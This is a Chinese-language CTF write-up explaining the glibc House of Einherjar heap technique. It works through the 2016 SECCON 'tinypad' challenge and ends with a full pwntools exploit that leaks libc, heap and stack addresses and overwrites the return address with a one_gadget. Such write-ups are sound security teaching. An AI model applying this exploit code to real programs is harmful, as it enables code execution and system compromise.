前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【 二进制安全】House Of Eingherjar

【 二进制安全】House Of Eingherjar

作者头像
用户6343818
发布2020-05-26 14:54:27
3790
发布2020-05-26 14:54:27
举报
文章被收录于专栏:安全小圈安全小圈

这种技术实际上就是利用 free 时候的操作。

代码语言:javascript
复制
/* consolidate backward */if (!prev_inuse(p)) {   prevsize = prev_size(p);   size += prevsize;    p = chunk_at_offset(p, -((long) prevsize));    unlink(av, p, bck, fwd); }
代码语言:javascript
复制

我们可以看到 free 指针 p 的时候,prevsize 实际上是 p 堆块的 prevsize 位,这其实就是利用了 malloc 中的隐式链表技术,把 P 指针指向了要 free 堆块的前一个堆块(q),然后进行 unlink 操作。

利用

在堆块复用的情况下,我们很容易就可以修改高地址堆块的 prev_size 位,那么存在堆溢出,或者 off-by-one 的前提下,我们就可以利用 p = chunk_at_offset (p, -((long) prevsize)),这个操作将新的 chunk 指向几乎任意位置。

注意

unlink (av, p, bck, fwd); unlink 操作在 libc 2.19(我记得是这个版本吧?)之后存在检查,所以为了避免 malloc 的时候触发报错,我们还需要伪造 p 指针改造后指向的堆快的 fd 和 bk 两个指针,但是这跟 unlink 的时候不相同,我们在平常进行 unlink 的时候我们知道 p 指针所在的地址,但是这个明显我们是没有该地址的,那么为了绕过检查,我们可以伪造成下面的样子。

代码语言:javascript
复制
p -> bk = p
p -> fd = p

还有一点就是要注意 size 的伪造,不过在这个方法里面 size 并不严格,伪造一个可以实现 unlink 的就可以,这里就要说一下,unlink 里面关于 size 的检查了(这个检查出现于 libc 2.26)。

代码语言:javascript
复制
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");

我们可以看到 p 这时候指向的 chunk 的 size,只要和这个 size 对应的下一个 chunk 的 size 相等就可以了,他们之间的关系,如果你明白隐式链表技术,应该不难理解。

对于关键点,我觉得 wiki 上总结的很好。

* 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。 * 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址。 * 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。

这个技术并不难,在堆里面如果 off-by-one 学的不错的话,你会发现这一招你其实很多时候都用过了吧,哈哈,但是明白原理总是好的,接下来就是练习,理论跟实践的距离总是很远。

2016_seccon_tinypad

这个题目逆向分析挺复杂的,但是漏洞算是比较明显的吧。 数据结构分析:

代码语言:javascript
复制
struct ptr_array
{
    char[16*0x10];
    void *ptr;
    int size;
};

其中,在 Add 函数里面我们就可以看到,输入信息读入堆块的时候存在 off-by-NULL 漏洞。

同时对于 delete 函数我们也进行下分析

可以看到没有对指针进行清零。

那么对于一个堆的题目,我们肯定是需要 leak 地址的,我们可以看到 main 函数的开头

如果 bss 段的相应内存指针存在的话,他会把对应的堆块的内容给读出来,那么我们肯定第一个想到的就是 unsorted bin attack 来泄露内存进而求出 libc 的基地址,但是由于要做 Houe of Eingherjar 的原因,我们还需要泄露 heap 的基地址,这一点并不是难点了,我们只需要构造四个大的 chunk 然后 free 掉就行了,但是由于 strlen 的 "\x00" 截断的缘故,所以我们必须先 free idx = 3 的堆块,然后再 free idx=1 的堆块。

代码语言:javascript
复制
malloc(0x80,"aa") #1
malloc(0x80,"bb") #2
malloc(0x80,"bb") #3
malloc(0x80,"bb") #4
free(3)
r.recvuntil("CONTENT: ")
r.recvuntil("CONTENT: ")
r.recvuntil("CONTENT: ")
libcbase = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - 0x3c4b78 
confirm(libcbase)
free(1)
r.recvuntil("CONTENT: ")
heap_base = u64(r.recvuntil("\n").ljust(8,"\x00")) - 0x120

然后我们已经具备了做 house of eingherjar 所需要的条件:

* 我们可以写入高地址堆块的 prev_size 位并且把 pre_inuse 位置 0. * 我们已经知道了 free 的堆块的地址 * 我们想写入的地方 (ptr_array) 的地址和堆块的地址差可以计算出来。

那么:

1. 我们首先要在 ptr_array 的地方找个合适的位置写上伪造的堆块,这一点可以利用 edit 功能,因为这个功能在使用的时候会把内容先写到这里然后复制到指定位置 2. 我们要伪造一个堆块的 prev_size 和 prev_inuse 位使得 free 的时候进行 unlink,进而把我们的指针转移到之前在 ptr_array 预定好的位置,我们可以利用泄露出的 heap_base 来求出 free 的堆块的地址,然后就可以根据地址差来计算 pre_size,同时也使得我们在 ptr_array 的 fake_chunk 中可以事先写入堆块指针 p 的地址来绕过 unlink. 3.free 之后我们的堆块指针成功转移,那么我们可以根据预先设定的 fake_chunk 的大小将其申请出来,那么我们就可以对 ptr_array 实现任意写了。 4. 我们可以把指针改成 malloc_hook 之类,然后 edit 写入 one_gadget 来实现利用。 5. 但是我们也可以写入 main_ret,因为通过环境指针 environ 来泄露出 main 函数的 ret 地址很容易,我们可以在该地方写入 one_gadget 来实现利用。

EXP

代码语言:javascript
复制
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./tinypad"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("")
def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name)
def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(addr) + "\nc"
    gdb.attach(r,break_point)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))
            
libc = ELF("./libc.so.6")
def malloc(size,context):
    r.recvuntil("(CMD)>>> ")
    r.sendline("a")
    r.recvuntil("SIZE)>>> ")
    r.sendline(str(size))
    r.recvuntil("(CONTENT)>>> ")
    r.send(context +"\n")
def free(idx):
    r.recvuntil("(CMD)>>> ")
    r.sendline("d")
    r.recvuntil("(INDEX)>>> ")
    r.sendline(str(idx))
def edit(idx,context,flag):
    r.recvuntil("(CMD)>>> ")
    r.sendline("e")
    r.recvuntil("(INDEX)>>> ")
    r.sendline(str(idx))
    r.recvuntil("(CONTENT)>>> ")
    r.send(context+"\n")
    r.recvuntil("(Y/n)>>> ")
    r.sendline(flag)
def quit():
    r.recvuntil("(CMD)>>> ")
    r.sendline("q")
malloc(0x80,"aa") #1
malloc(0x80,"bb") #2
malloc(0x80,"bb") #3
malloc(0x80,"bb") #4
free(3)
r.recvuntil("CONTENT: ")
r.recvuntil("CONTENT: ")
r.recvuntil("CONTENT: ")
libcbase = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - 0x3c4b78 
confirm(libcbase)
free(1)
r.recvuntil("CONTENT: ")
heap_base = u64(r.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0x120
confirm(heap_base)
malloc_hook_addr = libcbase + libc.symbols["__malloc_hook"]
confirm(malloc_hook_addr)
one_gadget = libcbase + 0xf1147
confirm(one_gadget)
free(2)
free(4)
ptr_array = 0x000000000602040
offset = heap_base + 0x20 - (ptr_array + 0x20)
confirm(offset)
malloc(0x10,"a"*0x10)#1
malloc(0x100,"b"*0xf8 + p64(0x11))
malloc(0x100,"b"*0xf8)
malloc(0x100,"b"*0xf8)
fake_chunk = p64(0) + p64(0x101) + p64(ptr_array + 0x20) * 2
edit(3,"a"*0x20+fake_chunk,"y")
free(1)
malloc(0x18,"a"*0x10 + p64(offset))
free(2)
edit(4,"a" * 0x20 + p64(0) + p64(0x101) + p64(libcbase + 0x3c4b78 + 88) * 2,"y")
#pause()
environ_pointer = libcbase + libc.symbols["__environ"]
confirm(environ_pointer)
malloc(0xf0,"c"*0xd0+p64(0x18) +p64(environ_pointer) + "a"*8 + p64(0x602148))
#r.recvuntil("aaaaaaaaaaaaaaaa")
r.recvuntil("CONTENT: ")
#gdb.attach(r)
main_ret_addr = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - 0x8 * 30
confirm(main_ret_addr)
edit(2,p64(main_ret_addr),"y")
edit(1,p64(one_gadget),"y")
quit()
#gdb.attach(r)
r.interactive()

相关参考:

代码语言:javascript
复制
https://xz.aliyun.com/t/6556
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibcheap/house_of_einherjar-zh/
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 零度安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档